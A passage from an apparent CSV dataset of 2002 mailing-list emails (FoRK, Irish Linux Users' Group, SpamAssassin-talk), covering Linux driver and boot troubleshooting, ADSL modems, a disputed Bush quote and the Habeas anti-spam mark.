presumably intent on keeping them ""development"" free. Now, it may be that ""Manhattanites' view of America"" to say that outside of Metro Manila, Davao, and maybe another city or two (Cebu?), everything else (literally) is the boondocks. But going on that very broad assumption, I guess I'm describing the flip side of Mr. Roger's experience: the paisanos (who leave behind those who remain on a patron's rural land) move to Manila, and (the second assumption) squat in shantytowns there, at least until they can line up a middle-class job. So, going on two large assumptions, I can come up with a scenario under which title would take 20 years: a shantytown arises somewhere in the midst of a section (or whatever the Spanish used to divvy up the land) and it takes decades of arguing to put together a package which somehow can both compensate the owner and record lots for the inhabitants. Just transferring title to an existing lot, between parties who have money, ought not to be a problem. The obvious solution, at least to us barking farting chihuahuas on FoRK, is to ""introduce market mechanisms"". It is left as an exercise to come up with one which works when many of the agents (are perceived to) have negligible NPV. -Dave > [land reform] meant that all the agricultural producers had > to plant crops all the time (profitable or not) ... What happened to more highly-capitalized land? Putting in trees instead of crops sounds like it might sidestep that. > Mr. Long, I think you'd particularly enjoy the De Soto work. On the ""to find"" list. Any chance of an explanation of that ""Bell Jar"" in the meantime? http://xent.com/mailman/listinfo/fork",0,1 """Peter Staunton"" ",ilug@linux.ie,"Thu, 22 Aug 2002 18:57:35 GMT",[ILUG] Newbie seeks advice - Suse 7.2,"Folks, my first time posting - have a bit of Unix experience, but am new to Linux. Just got a new PC at home - Dell box with Windows XP. Added a second hard disk for Linux. Partitioned the disk and have installed Suse 7.2 from CD, which went fine except it didn't pick up my monitor. I have a Dell branded E151FPp 15"" LCD flat panel monitor and a nVidia GeForce4 Ti4200 video card, both of which are probably too new to feature in Suse's default set. I downloaded a driver from the nVidia website and installed it using RPM. Then I ran Sax2 (as was recommended in some postings I found on the net), but it still doesn't feature my video card in the available list. What next? Another problem. I have a Dell branded keyboard and if I hit Caps-Lock twice, the whole machine crashes (in Linux, not Windows) - even the on/off switch is inactive, leaving me to reach for the power cable instead. If anyone can help me in any way with these probs., I'd be really grateful - I've searched the 'net but have run out of ideas. Or should I be going for a different version of Linux such as RedHat? Opinions welcome. Thanks a lot, Peter -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Tom ,"""Joseph S. Barrera III"" ","Thu, 22 Aug 2002 15:25:24 -0400 (EDT)",Re: lifegem,"On Thu, 22 Aug 2002, Joseph S. Barrera III wrote: --]Why wait until you're dead? I'm sure there's enough carbon in --]the fat from your typical liposuction job to make a decent diamond. So thats why I keep seeing DeBeers agents hovering around me. -tom(diamonds in the folds of my flesh)wsmf http://xent.com/mailman/listinfo/fork",0,1 Owen Byrne ,"""Joseph S. Barrera III"" ","Thu, 22 Aug 2002 16:30:07 -0300",Re: lifegem,"Joseph S. Barrera III wrote: > Chris Haun wrote: > >> A LifeGem is a certified, high quality diamond created from the >> carbon of your loved one as a memorial to their unique and wonderful >> life. > > > Why wait until you're dead? I'm sure there's enough carbon in > the fat from your typical liposuction job to make a decent diamond. > > - Joe > Oh, hell - what about excrement? I'd love to be able to say - No, the sun doesn't shine out of my ass, but there's the occasional diamond. ;-). Owen http://xent.com/mailman/listinfo/fork",0,1 Ciaran Johnston ,,"Thu, 22 Aug 2002 20:58:07 +0100",Re: [ILUG] Formatting a windows partition from Linux,"Update on this for anyone that's interested, and because I like closed threads... nothing worse than an infinite while loop, is there? I ended up formatting a floppy on my flatmate's (un-networked) P100 running FAT16 Win95, and mcopied the contents of the bootdisk across. Now I have a FAT16 Win98 install running alongside Slackware, and can play Metal Gear Solid when the mood takes me ;) /Ciaran. On Wednesday 21 August 2002 16:21, Ciaran Johnston wrote: > Dublin said: > > If you copy the files from your disk to the c: partition and mark it as > > active it should work ... > > Yeah, I figured that, but it doesn't seem to ... well, if that's the case > I'll give it another go tonight, maybe come back with some error messages. > > Just to clarify for those who didn't understand me initially - I have a > floppy drive installed, but it doesn't physically work. There's nowhere > handy to pick one up where I am, and I don't fancy waiting a few days for > one to arrive from Peats. > > Thanks for the answers, > Ciaran. > > > You especially need io.sys, command.com and msdos.sys > > > > your cd driver .sys and read the autoexec.bat and config.sys files for > > hints on what you did with your boot floppy > > > > P > > > > On Wed, 2002-08-21 at 14:07, Ciaran Johnston wrote: > >> Hi folks, > >> The situation is this: at home, I have a PC with 2 10Gig HDDs, and no > >> (working) floppy drive. I have been running Linux solely for the last > >> year, but recently got the urge to, among other things, play some of > >> my Windoze games. I normally install the windows partition using a > >> boot floppy which I have conveniently zipped up, but I haven't any way > >> of writing or reading a floppy. > >> So, how do I go about: > >> 1. formatting a C: drive with system files (normally I would use > >> format /s c: from the floppy). > >> 2. Installing the CDROM drivers (my bootdisk (I wrote it many years > >> ago) does this normally). > >> 3. Booting from the partition? > >> > >> I wiped all my linux partitions from the first drive and created > >> partitions for Windows (HDA1) Slackware and RedHat. I used cfdisk for > >> this. I made the first drive (hda) bootable. I then installed the > >> windows partition in LILO and reran lilo (installed in MBR). I copied > >> the contents of boot.zip to my new windows partition and tried to boot > >> it - all I get is a garbled line of squiggles. > >> > >> Anyone any ideas? I can't think of anywhere in Athlone to get a new > >> floppy drive this evening... > >> > >> Thanks, > >> Ciaran. > >> > >> > >> > >> -- > >> Irish Linux Users' Group: ilug@linux.ie > >> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription > >> information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Chris Haun ,fork@spamassassin.taint.org,"Thu, 22 Aug 2002 16:09:34 -0400 (EDT)",public mailing list sign up package,"Has anyone seen/heard of/used some package that would let a random person go to a webpage, create a mailing list, then administer that list. Also of course let ppl sign up for the lists and manage their subscriptions. Similar to the old listbot.org, but i'd like to have it running on my server not someone elses :) Chris http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Thu, 22 Aug 2002 22:58:34 +0200 (CEST)",Entrepreneurs,"An apparent quote from Dubya, from the Times (sent to me by my Dad): http://www.timesonline.co.uk/printFriendly/0,,1-43-351083,00.html ------------------------------------------------------------------------------ TONY BLAIR's special relationship with George W. Bush is under considerable strain. Not only do the two disagree on Yassir Arafat's tenure as leader of the Palestinian Authority, but Blair has started telling disparaging anecdotes about the President. Baroness Williams of Crosby recalled a story told to her by 'my good friend Tony Blair' recently in Brighton. Blair, Bush and Jacques Chirac were discussing economics and, in particular, the decline of the French economy. 'The problem with the French,' Bush confided in Blair, 'is that they don't have a word for entrepreneur.' ------------------------------------------------------------------------------ R http://xent.com/mailman/listinfo/fork",0,1 hauns_froehlingsdorf@infinetivity.com,"""Justin Mason"" ","Thu, 22 Aug 2002 16:07:05 -0500",Re: hauns_froehlingsdorf@infinetivity.com,"This is an automated response to a message you have sent to hauns_froehlingsdorf@infinetivity.com. I will be out of the office until Monday, August 26 2002. I will reply to your email when I return. Hauns ___________________________________ Hauns Froehlingsdorf Network/Systems Manager infinetivity, inc. 952-225.4200 http://www.infinetivity.com",0,1 Mark Twomey ,ilug@linux.ie,"Thu, 22 Aug 2002 22:25:12 +0100",[ILUG] Re: Sun Solaris,"Al white wrote: >erm... it runs Solaris x86 as standard... It runs Solaris 8 x86 as standard. (I was joking Al) M. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Mario Torre ,secprog@securityfocus.com,"Thu, 22 Aug 2002 23:49:00 +0200",Re: Encryption approach to secure web applications,"Hi, Thank you for the useful replies, I have found some interesting tutorials in the ibm developer connection. https://www6.software.ibm.com/developerworks/education/j-sec1 and https://www6.software.ibm.com/developerworks/education/j-sec2 Registration is needed. I will post the same message on the Web Application Security list, as suggested by someone. For now, I thing I will use md5 for password checking (I will use the approach described in secure programmin fo linux and unix how-to). I will separate the authentication module, so I can change its implementation at anytime. Thank you again! Mario Torre -- Please avoid sending me Word or PowerPoint attachments. See http://www.fsf.org/philosophy/no-word-attachments.html",0,1 """Matthew French"" ",,"Thu, 22 Aug 2002 22:58:39 +0100",Re: [ILUG] Re: Sun Solaris,"Mark Twomey joked: > >erm... it runs Solaris x86 as standard... > > It runs Solaris 8 x86 as standard. > (I was joking Al) And will run Solaris 9 when Sun catch up with the x86 drivers and kernel. Although don't hold your breath for the free DVD. It will never come. (Spot the person who applied for the free Solaris 9 DVD, only to be told three months later it is no longer available.) FWIW Solaris and Linux seem to be getting closer all the time. I can no longer see any specific reason why one is better than the other. Expect Red Hat Solaris 11 any time now... - Matthew __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Manoj Kasichainula ,fork@spamassassin.taint.org,"Thu, 22 Aug 2002 15:04:02 -0700",Re: Entrepreneurs,"On Thu, Aug 22, 2002 at 10:58:34PM +0200, Robert Harley wrote: > An apparent quote from Dubya, from the Times (sent to me by my Dad): > > http://www.timesonline.co.uk/printFriendly/0,,1-43-351083,00.html http://www.snopes.com/quotes/bush.htm Claim: President George W. Bush proclaimed, ""The problem with the French is that they don't have a word for entrepreneur."" Origins: Yet another French fried ""George W. Bush is dumb"" story has been taken up by those who like their caricatures drawn in stark, bold lines. According to scuttlebutt that emerged in the British press in July 2002, President Bush, Britain's Prime Minister Tony Blair, and France's President Jacques Chirac were discussing economics and, in particular, the decline of the French economy. ""The problem with the French,"" Bush afterwards confided in Blair, ""is that they don't have a word for entrepreneur."" The source was Shirley Williams, also known as the Baroness Williams of Crosby, who claimed ""my good friend Tony Blair"" had recently regaled her with this anecdote in Brighton. Lloyd Grove of The Washington Post was unable to reach Baroness Williams to gain her confirmation of the tale, but he did receive a call from Alastair Campbell, Blair's director of communications and strategy. ""I can tell you that the prime minister never heard George Bush say that, and he certainly never told Shirley Williams that President Bush did say it,"" Campbell told The Post. ""If she put this in a speech, it must have been a joke."" This is far from the first time Bush has been made the butt of a jibe meant to showcase what some perceive as his less than stellar intellectual abilities. Without straining our memories too hard, we can come up with three other instances we've chronicled on this site. In the summer of 2001, the joke of the moment centered upon a supposed study that had resulted in the ranking of Presidential IQs, with George W. Bush being pegged as the Chief Executive who scraped the bottom of the intelligence barrel. In December 2000 it was a fake Nostradamus quatrain which pontificated that the ""village idiot"" would win the 2000 Presidential election. And in the spring of 2002, it was the story of Bush's waving at Stevie Wonder that set folks to chortling up their sleeves. Stories that illustrate this widely believed intellectual shortcoming will always waft after George W. Bush because they seemingly confirm what many already hold as true about this public figure, that he's not the brightest fellow that's ever been. It is human nature to revel in yarns that the hearer at some level agrees with, thus tales of this sort will always fall upon appreciative ears. Barbara ""ears of corn"" Mikkelson Last updated: 29 July 2002 http://xent.com/mailman/listinfo/fork",0,1 """Kiall Mac Innes"" ","""ILUG"" ","Thu, 22 Aug 2002 23:06:27 +0100",RE: [ILUG] Newbie seeks advice - Suse 7.2,"hehe sorry but if you hit caps lock twice the computer crashes? theres one ive never heard before... have you tryed Dell support yet? I think dell computers prefer RedHat... (dell provide some computers pre-loaded with red hat) i dont know for sure tho! so get someone elses opnion as well as mine... -----Original Message----- From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie]On Behalf Of Peter Staunton Sent: 22 August 2002 19:58 To: ilug@linux.ie Subject: [ILUG] Newbie seeks advice - Suse 7.2 Folks, my first time posting - have a bit of Unix experience, but am new to Linux. Just got a new PC at home - Dell box with Windows XP. Added a second hard disk for Linux. Partitioned the disk and have installed Suse 7.2 from CD, which went fine except it didn't pick up my monitor. I have a Dell branded E151FPp 15"" LCD flat panel monitor and a nVidia GeForce4 Ti4200 video card, both of which are probably too new to feature in Suse's default set. I downloaded a driver from the nVidia website and installed it using RPM. Then I ran Sax2 (as was recommended in some postings I found on the net), but it still doesn't feature my video card in the available list. What next? Another problem. I have a Dell branded keyboard and if I hit Caps-Lock twice, the whole machine crashes (in Linux, not Windows) - even the on/off switch is inactive, leaving me to reach for the power cable instead. If anyone can help me in any way with these probs., I'd be really grateful - I've searched the 'net but have run out of ideas. Or should I be going for a different version of Linux such as RedHat? Opinions welcome. Thanks a lot, Peter -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Antoin O Lachtnain ,"iiu@taint.org, iiu@taint.org","Fri, 23 Aug 2002 00:17:46 +0100",Re: [IIU] Eircom aDSL Nat'ing,"At 17:10 22/08/2002 +0100, Nick Hilliard wrote: > > apologies for the possible silly question (i don't think it is, but), > > but is Eircom's aDSL service NAT'ed? > >No - you get unfiltered access with a real (but dynamic) IP address. > > > and what implications would that have for VoIP? I know there are > > difficulties with VoIP or connecting to clients connected to a NAT'ed > > network from the internet wild (i.e. machines with static, real IPs) > >You will probably suffer from the high latency of DLS lines. Typically, >you're talking about 50ms RTT to the local bas, which is pretty high. >If your voip application can handle this, then you're ok. > >Nick what's the deal with all this latency? it's not like that in other places where I've used dsl. i read some story about it being done that way to allow greater distances to be covered or something like that. however, my knowledge of physics is really only newtonian, and I don't understand how worsening latency could possibly improve the reliability of a 2000 foot long piece of copper. Perhaps it has something to do with stretching the time-space continuum? can someone explain this in words of five syllables or less? a. >_______________________________________________ >IIU mailing list >IIU@iiu.taint.org >http://iiu.taint.org/mailman/listinfo/iiu -- Antoin O Lachtnain ** antoin@eire.com ** http://www.eire.com ** +353-87-240-6691 _______________________________________________ IIU mailing list IIU@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Fri, 23 Aug 2002 02:57:05 +0200 (CEST)",Re: Entrepreneurs,"Manoj Kasichainula wrote; >http://www.snopes.com/quotes/bush.htm > >Claim: President George W. Bush proclaimed, ""The problem with >the French is that they don't have a word for entrepreneur."" > >Status: False. >Lloyd Grove of The Washington Post was unable to reach Baroness >Williams to gain her confirmation of the tale, but he did >receive a call from Alastair Campbell, Blair's director of >communications and strategy. ""I can tell you that the prime >minister never heard George Bush say that, and he certainly >never told Shirley Williams that President Bush did say it,"" >Campbell told The Post. ""If she put this in a speech, it must >have been a joke."" So some guy failed to reach the source, but instead got spin doctor to deny it. Wot, is he thick enough to expect official confirmation that, yes, Blair is going around casting aspersions on Bush??? It's an amusing anecdote, I don't know if it's true or not, but certainly nothing here supports the authoritative sounding conclusion ""Status: False"". R http://xent.com/mailman/listinfo/fork",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Fri, 23 Aug 2002 01:20:23 +0000",Re: The case for spam,"Lucas Gonze: >Spam is *the* tool for dissident news, since the fact that it's unsolicited >means that recipients can't be blamed for being on a mailing list. That depends on how the list is collected, or even on what the senders say about how the list is collected. Better to just put it on a website, and that way it can be surfed anonymously. AND it doesn't clutter my inbox. _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com http://xent.com/mailman/listinfo/fork",0,1 """John Evdemon"" ",fork@spamassassin.taint.org,"Thu, 22 Aug 2002 21:44:23 -0400",Re: Entrepreneurs,"On 23 Aug 2002 at 2:57, Robert Harley wrote: > It's an amusing anecdote, I don't know if it's true or not, > but certainly nothing here supports the authoritative > sounding conclusion ""Status: False"". I actually thought it was pretty funny and quite accurate. Who cares if the spinmeisters are denying it? http://xent.com/mailman/listinfo/fork",0,1 """wintermute"" ",,"Fri, 23 Aug 2002 08:25:01 +0100",Re: [ILUG] Newbie seeks advice - Suse 7.2,"< > > I downloaded a driver from the nVidia website and installed it using RPM. > Then I ran Sax2 (as was recommended in some postings I found on the net), but > it still doesn't feature my video card in the available list. What next? hmmm. Peter. Open a terminal and as root type lsmod you want to find a module called NVdriver. If it isn't loaded then load it. #insmod NVdriver.o Oh and ensure you have this module loaded on boot.... else when you reboot you might be in for a nasty surprise. Once the kernel module is loaded #vim /etc/X11/XF86Config in the section marked Driver I have ""NeoMagic"" you need to have Driver ""nvidia"" Here is part of my XF86Config Also note that using the card you are using you 'should' be able to safely use the FbBpp 32 option . Section ""Module"" Load ""extmod"" Load ""xie"" Load ""pex5"" Load ""glx"" SubSection ""dri"" #You don't need to load this Peter. Option ""Mode"" ""666"" EndSubSection Load ""dbe"" Load ""record"" Load ""xtrap"" Load ""speedo"" Load ""type1"" EndSection #Plus the Modelines for your monitor should be singfinicantly different. Section ""Monitor"" Identifier ""Monitor0"" VendorName ""Monitor Vendor"" ModelName ""Monitor Model"" HorizSync 28.00-35.00 VertRefresh 43.00-72.00 Modeline ""800x600"" 36 800 824 896 1024 600 601 603 625 Modeline ""1024x768"" 49 1024 1032 1176 1344 768 771 777 806 EndSection Section ""Device"" Identifier ""Card0"" Driver ""neomagic"" #Change this to ""nvidia""... making sure the modules are in the correct path VendorName ""Neomagic"" # ""Nvidia"" BoardName ""NM2160"" BusID ""PCI:0:18:0"" EndSection Section ""Screen"" Identifier ""Screen0"" Device ""Card0"" Monitor ""Monitor0"" DefaultDepth 24 SubSection ""Display"" Depth 1 EndSubSection SubSection ""Display"" Depth 4 EndSubSection SubSection ""Display"" Depth 8 EndSubSection SubSection ""Display"" Depth 15 EndSubSection SubSection ""Display"" Depth 16 EndSubSection SubSection ""Display"" Depth 24 #FbBpp 32 #Ie you should be able lto uncomment this line Modes ""1024x768"" ""800x600"" ""640x480"" # And add in higher resulutions as desired. EndSubSection EndSection -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Chuck Murcko ,fork@spamassassin.taint.org,"Fri, 23 Aug 2002 01:11:02 -0700",Re: Entrepreneurs,"According to my son, it was actually Homer Simpson, who claimed the French had no word for victory. Chuck On Thursday, August 22, 2002, at 01:58 PM, Robert Harley wrote: > An apparent quote from Dubya, from the Times (sent to me by my Dad): > > http://www.timesonline.co.uk/printFriendly/0,,1-43-351083,00.html > > ------------------------------------------------------------------------------ > TONY BLAIR's special relationship with George W. Bush is under > considerable strain. Not only do the two disagree on Yassir Arafat's > tenure as leader of the Palestinian Authority, but Blair has started > telling disparaging anecdotes about the President. > > Baroness Williams of Crosby recalled a story told to her by 'my good > friend Tony Blair' recently in Brighton. Blair, Bush and Jacques > Chirac were discussing economics and, in particular, the decline of > the French economy. 'The problem with the French,' Bush confided in > Blair, 'is that they don't have a word for entrepreneur.' > ------------------------------------------------------------------------------ > > R > http://xent.com/mailman/listinfo/fork > http://xent.com/mailman/listinfo/fork",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Fri, 23 Aug 2002 10:44:35 +0200 (CEST)",Re: Entrepreneurs,"Whore eructed: >--]It's an amusing anecdote, I don't know if it's true or not, but >--]certainly nothing here supports the authoritative sounding conclusion >--]""Status: False"". > >So thats the trick, just let any anecdotal utterances you LIKE be deemed >true [...] Exsqueeze me, but what part of ""I don't know if it's true or not"" did you fail to grok? I personally doubt it simply because I never heard of Bush and Chirac going to Brighton. Next time I hear a joke, I promise not to laugh until I have checked out primary sources for confirmation in triplicate, OK? Good thing we have you around to keep us on the straight and narrow, all the while inundating us with such erudite profundities as ""Kill your idols folks"", ""fight the powers that be, from with out and from with in"" and innumerable other dippy bromides. R http://xent.com/mailman/listinfo/fork",0,1 Daniel Quinlan ,"zzzz@spamassassin.taint.org, craig@deersoft.com","Fri, 23 Aug 2002 03:31:20 -0700",FYI - gone this weekend,"I won't be reading email until Sunday night or so. Good luck with 2.40 and don't do anything I wouldn't do. ;-) - Dan",0,0 """wintermute"" ",,"Thu, 29 Aug 2002 16:17:26 +0100",Re: [ILUG] eircoms adsl modems,"It will function as a router if that is what you wish. It even looks like the modem's embedded OS is some kind of linux, being that it has interesting interfaces like eth0. I don't use it as a router though.... I just have it do the absolute minimum DSL stuff and do all the really fun stuff like pppoe on my linux box........ Also the manual tells you what the default password is. Don't forget to run pppoe over the alcatel speedtouch 350i as in my case you 'HAVE TO' have a bridge configured in the router/modem's software........ This lists your VCI values etc. > Also, does anyone know if the high-end SpeedTouch, with > 4 ethernet ports, can act as a full router or do I still > need to run a pppoe stack on the linux box? > > Regards, > > Vin > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Gary Lawrence Murphy ,Eirikur Hallgrimsson ,29 Aug 2002 11:19:27 -0400,Re: Internet saturation (but not in Iceland),">>>>> ""E"" == Eirikur Hallgrimsson writes: E> Gary's news service at teledyn.com has an article on Internet E> Saturation. Let me ask you....If you were on a rock in the E> middle of the Atlantic, mostly in the dark for half the year, E> wouldn't *you* like a bit of internet distraction? They've E> already done the obvious and fiber-ringed the island. There's lots of similar places. Saskatchewan, for example, once shared with Iceland the distinction of most telephone connections per capita, and for a long time shared the internet penetration lead with Iceland (Sask is a land-locked massive expanse of ultra-flat dust with only two rivers and farm sizes measured in the hundred-thousand-hectares). It's still curious Iceland leads. Maybe there's just a deep cultural curiousity and fascination with watching advertising from the rest of the world. Maybe they're downloading Bjork videos. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 """RossO"" ",fork@spamassassin.taint.org,29 Aug 2002 08:28:13 -0700,Re: Computational Recreations,"On Monday, August 26, 2002, at 09:59 AM, Tom wrote: > Post MG in the 80's there were the colums by A K Dewdney that I dug a > bunch put into a book called Turing Omnibus and then there is , of > course, all the goodens put out by Dougy Hoffstadler. A.K. Dewdney was the name I was looking for and the column was ""Computer Recreations"". Turns out he's still in Ontario and even has some homemade Sci-Fi online... http://www.csd.uwo.ca/faculty/akd/TALES/index.html Vat Man Programming Roger The Homunculids Alphie & Omega ...Ross...",0,1 Bart Schaefer ,Spamassassin-Talk ,"Thu, 29 Aug 2002 08:32:08 -0700 (PDT)",Re: [SAtalk] O.T. Habeus -- Why?,"On 28 Aug 2002, Daniel Quinlan wrote: > Dan Kohn writes: > > > Daniel, it's easy enough for you to change the Habeas scores yourself > > on your installation. If Habeas fails to live up to its promise to > > only license the warrant mark to non-spammers and to place all > > violators on the HIL, then I have no doubt that Justin and Craig will > > quickly remove us from the next release. But, you're trying to kill > > Habeas before it has a chance to show any promise. > > I think I've worked on SA enough to understand that I can localize a > score. I'm just not comfortable with using SpamAssassin as a vehicle > for drumming up your business at the expense of our user base. I have to agree here. If Habeas is going to die just because SA does not support it, that's a serious problem with the business model; but that is nobody's problem but Habeas's. A possible solution is for Habeas's business model to include some kind of incentive for users of SA to give it the benefit of the doubt. I have yet to think of an incentive that fits the bill ... On Thu, 29 Aug 2002, Justin Mason wrote: > I don't see a problem supporting it in SpamAssassin -- but I see Dan's > points. > > - high score: as far as I can see, that's because SpamAssassin is > assigning such high scores to legit newsletters these days, and the > Habeas mark has to bring it down below that. :( IMO we have to fix > the high-scorers anyway -- no spam ever *needs* to score over 5 in our > scoring system, 5 == tagged anyway. This is off the topic of the rest of this discussion, but amavisd (in all its incarnations) and MIMEDefang and several other MTA plugins all reject at SMTP time messages that scores higher than some threshold (often 10). If some new release were to start scoring all spam no higher than 5.1, there'd better be _zero_ FPs, because all those filters would drop their thresholds to 5. On Thu, 29 Aug 2002, Michael Moncur wrote: > But I agree that there needs to be more focus on eliminating rules that > frequently hit on newsletters. If any newsletters actually use the Habeas > mark, that will be one way to help. Newsletters won't use the mark. Habeas is priced way too high -- a factor of at least 20 over what the market will bear, IMO -- on a per-message basis for most typical mailing lists (Lockergnome, say) to afford it. On Thu, 29 Aug 2002, Harold Hallikainen wrote: > Habeus has come up with a very clever way to use existing law to battle > spam. It seems that at some point they could drop the licensing fee to > $1 or less and make all their income off suing the spammers for > copyright infringement. Sorry, that just can't work. If the Habeas mark actually becomes both widespread enough in non-spam, and effectively-enforced enough to be absent from spam, such that, e.g., SA could assign a positive score to messages that do NOT have it, then spammers are out of business and Habeas has no one to sue. There's nobody left to charge except the people who want (or are forced against their will because their mail won't get through otherwise) to use the mark. Conversely, if there are enough spammers forging the mark for Habeas to make all its income suing them, then the mark is useless for the purpose for which it was designed. Either way it seems to me that, after maybe a couple of lawsuits against real spammers and a lot of cease-and-desist letters to clueless Mom&Pops, then either (a) they're out of business, (b) they have to sell the rights to use the mark to increasingly questionable senders, or (c) they've both created and monopolized a market for ""internet postage stamps"" that everybody has to pay them for. The latter would be quite a coup if they [*] could pull it off -- they do absolutely nothing useful, unless you consider threatening people with lawsuits useful, yet still collect a fee either directly or indirectly from everyone on the internet -- effectively we'll be paying them for the privilege of policing their trademark for them. I don't believe they'll ever get that far, but I don't particularly want to help them make it. [*] And I use the term ""they"" loosely, because the whole company could consist of one lawyer if it really got to that point. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Justin MacCarthy"" ","""Ilug@Linux.Ie"" ","Thu, 29 Aug 2002 16:37:26 +0100",[ILUG] Looking for a file / directory in zip file,"Is there a way to look for a particular file or directory in 100's of zip files?? Something like zgrep but for the filename instead of a word Thanks Justin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Waider ,macarthy@iol.ie,"Thu, 29 Aug 2002 16:41:14 +0100",Re: [ILUG] Looking for a file / directory in zip file,"-----BEGIN PGP SIGNED MESSAGE----- Justin MacCarthy wrote: | Is there a way to look for a particular file or directory in 100's of zip | files?? | Something like zgrep but for the filename instead of a word | | Thanks Justin | | probably there are more elegant solutions, but if your zips are in one directory you can do something like for i in *.zip do if unzip -v $i | grep -q FILEYOUWANT then ~ echo $i fi done Cheers, Waider. - -- waider@waider.ie / Yes, it /is/ very personal of me -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iQEVAwUBPW5AmaHbXyzZsAb3AQH+qQgA1vnUjJUwGDa1yCRQd3vZAnhkCF0KDBBA o9MYq4CUg9cEzKALkTyZu4eOprhL50ReaICUGLMMEc5htU9zove4F+CSuvbAKKHL nx7xa6kk2V+LFnwS6hWpdQolCaT+4iGZZbdFwmyNAWb/IrEYB0R4gp05sitDOl5U RRlzYSM3IUYDrYpDUuX7Ta7bLvSdC1PpWSqy/wXphNIh7Bs2+eB9ERAujuqi6vJo MBichYb3f3teVCQUbxTcaMowjpmv/Xm3gdUlGrUFbpc2O7447Xi5uDfRexzzDoJT HlFS6OO2ZqzcMrtUYEgsfyqpaF1WuD38JoFpa2TmSyX74bBhxS8ecw== =KYCm -----END PGP SIGNATURE----- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Colin Whittaker ,Irish LUG list ,"Thu, 29 Aug 2002 16:51:17 +0100",[ILUG] Re: serial console...not quite working,"John P. Looney stated the following on Thu, Aug 29, 2002 at 03:31:11PM +0100 : > I'm not sure what exactly is wrong with this, but I can't get a redhat > 7.1 box to use ttyS0 as a console. > > The relevant bits of /boot/grub/grub.conf are: > > serial --unit=0 --speed=115200 > terminal --timeout=2 console serial > title=linux > root (hd0,4) > kernel /boot/bzImage ro root=/dev/md0 console=ttyS0,115200n81 ^ That 1 is unneeded and is probably whats upsetting your kernel we use ""console=ttyS0,9600n8"" but the 9600 is mainly cos we are a cisco shop and its to keepo everyhting the same. Colin -- ""Design"" is like a religion - too much of it makes you inflexibly and unpopular. Linus Torvalds -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """wintermute"" ",,"Thu, 29 Aug 2002 16:58:04 +0100",Re: [ILUG] eircoms adsl modems,"Not true on the choice part. After three weeks of me telling eircom that I did not in fact need nor want their ?1800 worth of router and firewall nor their onsite survey... for the uncapped service I actually managed to get a 4 port modem (after asking for a 1 port modem) instead of ye olde hardware router & firewall and eircom onsite. I would have argued for the 1 port modem... (which I had asked for), but a Director wanted the DSL up ... and fast.... Still it only took me three weeks to get (almost) what I wanted.................................... -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Gerry Carr"" ",,"Thu, 29 Aug 2002 17:07:35 +0100",people we know on the web,"http://www.bbc.co.uk/radio1/alt/nireland/ni_team.shtml first of a very short series. gerry _______________________________________________ Crackmice mailing list Crackmice@crackmice.com http://crackmice.com/mailman/listinfo/crackmice",0,1 """Gordon Rutter"" ",,"Thu, 29 Aug 2002 18:00:08 +0100",[zzzzteana] Fw: [nessie] New Nessie Pics,"Gordon Rutter gordon@rutter.freeserve.co.uk Join the Fortean Book Reviews list at forteanbookreviews-subscribe@yahoogroups.com > The latest potential pictures of Nessie - underwater - are at > www.hi-lands.com ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Martin Whelan 